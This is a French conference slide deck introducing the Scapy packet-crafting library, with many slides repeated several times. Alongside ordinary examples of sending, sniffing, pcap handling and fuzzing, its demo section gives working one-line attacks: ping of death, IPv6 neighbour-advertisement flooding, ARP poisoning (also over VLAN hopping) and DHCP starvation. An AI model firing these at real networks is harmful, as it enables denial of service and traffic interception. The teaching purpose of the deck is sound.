

# Scapy

## Easy Packet Handling

Etienne Maynier

*etienne.maynier@gmail.com*

Capitole du Libre  
24 Novembre 2012



# Introduction

## Scapy

- Manipulation de paquets :
  - Pour des tests réseau
  - Pour de l'éducation
  - Principalement pour des tests de sécurité
- Développé par Philippe Biondi, chercheur chez EADS Innovation Work
- Distributé sous GPLv2

## Pourquoi Scapy ?



A word cloud of various Scapy tools. The tools are represented by text of different sizes and colors (shades of blue). The largest and most prominent words are 'arp-spoof', 'hping3', and 'nmap'. Other tools include 'amap', 'arp-sk', 'arp', 'arp-spoof', 'dnet', 'dpkt', 'dsniff', 'ettercap', 'excalibur', 'firewalk', 'hping2', 'ip', 'ip-packetgenerator', 'ipgrab', 'iptraf', 'irpas', 'libnet', 'libpal', 'nast', 'nemesis', 'net2pcap', 'pacgen', 'packet', 'packeth', 'packit', 'paf', 'paketto', 'pixiliate', 'queso', 'sendip', 'sing', 'sorcery', 'suite', 'synscan', 'tcpdump', 'tcpinject', 'tcptrace', 'ttlscan', 'unicornscan', 'vomit', 'xprobe', and 'yersinia'.

## Pourquoi scapy ? (1/2)

### Des limitations

Difficile de faire exactement le paquet que l'on veut :

- Valeur précise de checksum / d'id / de padding?
- Le système peut intervenir (réassemblage, mauvaise version IP...)
- Peu de protocoles en dehors de TCP/UDP/ICMP
- Limité à l'imagination de l'auteur
- Des interfaces peu intuitives

### Exemple : hping3

```
hping3 --icmp 192.168.1.1 --icmp-cksum 0 --icmp-ipid 42  
hping3 -S -R 102.168.1.1 -p 80 -s 10000 -M 42 -o 12 -y
```

## Pourquoi scapy ? (1/2)

### Des limitations

Difficile de faire exactement le paquet que l'on veut :

- Valeur précise de checksum / d'id / de padding?
- Le système peut intervenir (réassemblage, mauvaise version IP...)
- Peu de protocoles en dehors de TCP/UDP/ICMP
- Limité à l'imagination de l'auteur
- Des interfaces peu intuitives

### Exemple : hping3

```
hping3 --icmp 192.168.1.1 --icmp-cksum 0 --icmp-ipid 42  
hping3 -S -R 102.168.1.1 -p 80 -s 10000 -M 42 -o 12 -y
```

## Pourquoi scapy ? (2/2)

### Peu réutilisables

Une boîte à outil longue et pas combinable. Ex :

- arpspoof
- VLAN hopping

Impossible de faire du arpspoof via VLAN hopping

### Décoder / Interpréter

```
Interesting ports on 192.168.9.3:
```

```
PORT STATE SERVICE
```

```
22/tcp filtered ssh
```

Mauvaise interprétation : ICMP Host Unreachable reçu

## Pourquoi scapy ? (2/2)

### Peu réutilisables

Une boîte à outil longue et pas combinable. Ex :

- arpspoof
- VLAN hopping

Impossible de faire du arpspoof via VLAN hopping

### Décoder / Interpréter

Interesting ports on 192.168.9.3:

```
PORT STATE SERVICE
```

```
22/tcp filtered ssh
```

Mauvaise interprétation : ICMP Host Unreachable reçu

## Principes

- Rapide
- Des valeurs par défaut utiles
- Intégré dans python
- Extensible
- Décode mais n'interprète pas

## Exemple

```
>>> pkt = IP(dst="192.168.1.1") / ICMP() / "Hello World"
>>> pkt.summary()
IP / ICMP 192.168.1.64 > 192.168.1.1 echo-request 0 / Raw
>>> res = sr(pkt)
Begin emission:
.Finished to send 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
>>> res[0].summary()
IP / ICMP 192.168.1.64 > 192.168.1.1 echo-request 0 / Raw ==> IP /
    ICMP 192.168.1.1 > 192.168.1.64 echo-reply 0 / Raw
```



## Principes

- Rapide
- Des valeurs par défaut utiles
- Intégré dans python
- Extensible
- Décode mais n'interprète pas

## Exemple

```
>>> pkt = IP(dst="192.168.1.1") / ICMP() / "Hello World"
>>> pkt.summary()
IP / ICMP 192.168.1.64 > 192.168.1.1 echo-request 0 / Raw
>>> res =sr(pkt)
Begin emission:
.Finished to send 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
>>> res[0].summary()
IP / ICMP 192.168.1.64 > 192.168.1.1 echo-request 0 / Raw ==> IP /
ICMP 192.168.1.1 > 192.168.1.64 echo-reply 0 / Raw
```

# Fonctionnalités

## Envoi couche 2 & 3

```
send(IP(dst="192.168.1.1") / ICMP())  
sendp(Ether(dst="08 :11 :96 :f6 :42 :12")/IP(dst="192.168.1.1") / ICMP())
```

## Sniff avancé

```
pkts = sniff(count=10)  
pkts = sniff(filter="icmp and host 192.168.1.1", count = 2)  
pkts = sniff(lfilter=lambda(p): p.haslayer(TCP) and p.haslayer(HTTP))
```

## Gestion de pcaps

```
pkts=rdpcap("captures/snmp.cap")  
wrpcap("temp.cap",pkts)
```

## Fuzzing basique

```
pkt = fuzz(IP())  
pkt = IP() / fuzz(ICMP(type="echo-request"))
```

## Fonctionnalités

### Envoi couche 2 & 3

```
send(IP(dst="192.168.1.1") / ICMP())  
sendp(Ether(dst="08 :11 :96 :f6 :42 :12")/IP(dst="192.168.1.1") / ICMP())
```

### Sniff avancé

```
pkts = sniff(count=10)  
pkts = sniff(filter="icmp and host 192.168.1.1", count = 2)  
pkts = sniff(lfilter=lambda(p): p.haslayer(TCP) and p.haslayer(HTTP))
```

### Gestion de pcaps

```
pkts=rdpcap("captures/snmp.cap")  
wpcap("temp.cap", pkts)
```

### Fuzzing basique

```
pkt = fuzz(IP())  
pkt = IP() / fuzz(ICMP(type="echo-request"))
```

# Fonctionnalités

## Envoi couche 2 & 3

```
send(IP(dst="192.168.1.1") / ICMP())  
sendp(Ether(dst="08 :11 :96 :f6 :42 :12")/IP(dst="192.168.1.1") / ICMP())
```

## Sniff avancé

```
pkts = sniff(count=10)  
pkts = sniff(filter="icmp and host 192.168.1.1", count = 2)  
pkts = sniff(lfilter=lambda(p): p.haslayer(TCP) and p.haslayer(HTTP))
```

## Gestion de pcaps

```
pkts=rdpcap("captures/snmp.cap")  
wrpcap("temp.cap",pkts)
```

## Fuzzing basique

```
pkt = fuzz(IP())  
pkt = IP() / fuzz(ICMP(type="echo-request"))
```

# Fonctionnalités

## Envoi couche 2 & 3

```
send(IP(dst="192.168.1.1") / ICMP())  
sendp(Ether(dst="08 :11 :96 :f6 :42 :12")/IP(dst="192.168.1.1") / ICMP())
```

## Sniff avancé

```
pkts = sniff(count=10)  
pkts = sniff(filter="icmp and host 192.168.1.1", count = 2)  
pkts = sniff(lfilter=lambda(p): p.haslayer(TCP) and p.haslayer(HTTP))
```

## Gestion de pcaps

```
pkts=rdpcap("captures/snmp.cap")  
wpcap("temp.cap", pkts)
```

## Fuzzing basique

```
pkt = fuzz(IP())  
pkt = IP() / fuzz(ICMP(type="echo-request"))
```

# Démo

Démo !

## Ping of death

```
send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) )
```

## IPv6 Neighbour Advertisement Flooding

```
send(IPv6(src=RandIP6()) / ICMPv6ND_NA(tgt=RandIP6()) / ICMPv6NDOptDstLLAddr(lladdr=RandMAC()),  
loop=1)
```

## ARP Poisoning

```
sendp(Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client),inter=RandNum(10,40),loop=1)
```

## ARP Poisoning with VLAN Hopping

```
sendp(Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2) /ARP(op="who-has", psrc=gateway, pdst=client),  
inter=RandNum(10,40), loop=1 )
```

## Ping of death

```
send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) )
```

## IPv6 Neighbour Advertisement Flooding

```
send(IPv6(src=RandIP6()) / ICMPv6ND_NA(tgt=RandIP6()) / ICMPv6NDOptDstLLAddr(lladdr=RandMAC()),  
loop=1)
```

## ARP Poisoning

```
sendp(Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client),inter=RandNum(10,40),loop=1)
```

## ARP Poisoning with VLAN Hopping

```
sendp(Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2) /ARP(op="who-has", psrc=gateway, pdst=client),  
inter=RandNum(10,40), loop=1 )
```



## Ping of death

```
send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) )
```

## IPv6 Neighbour Advertisement Flooding

```
send(IPv6(src=RandIP6()) / ICMPv6ND_NA(tgt=RandIP6()) / ICMPv6NDOptDstLLAddr(lladdr=RandMAC()),  
loop=1)
```

## ARP Poisoning

```
sendp(Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client),inter=RandNum(10,40),loop=1)
```

## ARP Poisoning with VLAN Hopping

```
sendp(Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2) /ARP(op="who-has", psrc=gateway, pdst=client),  
inter=RandNum(10,40), loop=1 )
```

## Ping of death

```
send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) )
```

## IPv6 Neighbour Advertisement Flooding

```
send(IPv6(src=RandIP6()) / ICMPv6ND_NA(tgt=RandIP6()) / ICMPv6NDOptDstLLAddr(lladdr=RandMAC()),  
loop=1)
```

## ARP Poisoning

```
sendp(Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client),inter=RandNum(10,40),loop=1)
```

## ARP Poisoning with VLAN Hopping

```
sendp(Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2) /ARP(op="who-has", psrc=gateway, pdst=client),  
inter=RandNum(10,40), loop=1 )
```

## Fun (2/2)

### DHCP Starvation

```
sendp(Ether(src=RandMAC(),dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")  
/UDP(sport=68,dport=67)/BOOTP(chaddr=RandString(12,'0123456789abcdef'))  
/DHCP(options=[("message-type","discover"),"end"]))
```

### Scan de protocoles IP

```
res,unans = sr( IP(dst="target", proto=(0,255))/"XX" )
```

### Scan de Protocole IP avec TTL fixe

```
res,unans = sr( IP(dst="target", proto=(0,255), ttl=7)/"XX",retry=-2 )
```

## Fun (2/2)

### DHCP Starvation

```
sendp(Ether(src=RandMAC(),dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")  
/UDP(sport=68,dport=67)/BOOTP(chaddr=RandString(12,'0123456789abcdef'))  
/DHCP(options=[("message-type","discover"),"end"]))
```

### Scan de protocoles IP

```
res,unans = sr( IP(dst="target", proto=(0,255))/"XX" )
```

### Scan de Protocole IP avec TTL fixe

```
res,unans = sr( IP(dst="target", proto=(0,255), ttl=7)/"XX",retry=-2 )
```

## Fun (2/2)

### DHCP Starvation

```
sendp(Ether(src=RandMAC(),dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")  
/UDP(sport=68,dport=67)/BOOTP(chaddr=RandString(12,'0123456789abcdef'))  
/DHCP(options=[("message-type","discover"),"end"]))
```

### Scan de protocoles IP

```
res,unans = sr( IP(dst="target", proto=(0,255))/"XX" )
```

### Scan de Protocole IP avec TTL fixe

```
res,unans = sr( IP(dst="target", proto=(0,255), ttl=7)/"XX",retry=-2 )
```

## Add-ons

## Exemple d'intégration de scapy dans un script maison

```
1 #!/usr/bin/env python
2
3 # Set log level to benefit from Scapy warnings
4 import logging
5 logging.getLogger("scapy").setLevel(1)
6
7 from scapy.all import *
8
9 class Test(Packet):
10     name = "Test packet"
11     fields_desc = [ ShortField("test1", 1),
12                    ShortField("test2", 2) ]
13
14 def make_test(x,y):
15     return Ether()/IP()/Test(test1=x,test2=y)
16
17 if __name__ == "__main__":
18     interact(mydict=globals(), mybanner="Test add-on v3.14")
```

## Implémenter de nouveaux protocoles

## OSPF

```
1 class OSPF_Hdr(Packet):
2     name = "OSPF Header"
3     fields_desc = [
4         ByteField("version", 2),
5         ByteEnumField("type", 1, _OSPF_types),
6         ShortField("len", None),
7         IPField("src", "1.1.1.1"),
8         IPField("area", "0.0.0.0"), # default: backbone
9         XShortField("chksum", None),
10        ShortEnumField("authtype", 0, {0:"Null", 1:"Simple", 2:"Crypto"}),
11        # Null or Simple Authentication
12        ConditionalField(XLongField("authdata", 0), lambda pkt:pkt.authtype != 2),
13        # Crypto Authentication
14        ConditionalField(XShortField("reserved", 0), lambda pkt:pkt.authtype == 2),
15        ConditionalField(ByteField("keyid", 1), lambda pkt:pkt.authtype == 2),
16        ConditionalField(ByteField("authdatalen", 0), lambda pkt:pkt.authtype == 2),
17        ConditionalField(XIntField("seq", 0), lambda pkt:pkt.authtype == 2),
18    ]
```

# Questions





## Références

### Scapy

- <http://www.secdev.org/projects/scapy/>
- Doc : <http://www.secdev.org/projects/scapy/doc/index.html>
- Bug Tracker : <http://trac.secdev.org/scapy/>
- *Network packet forgery with Scapy*, Philippe Biondi, PacSec 2005
- *Scapy and IPv6 Networking*, Philippe Biondi & Arnaud Ebalard, HITB 2006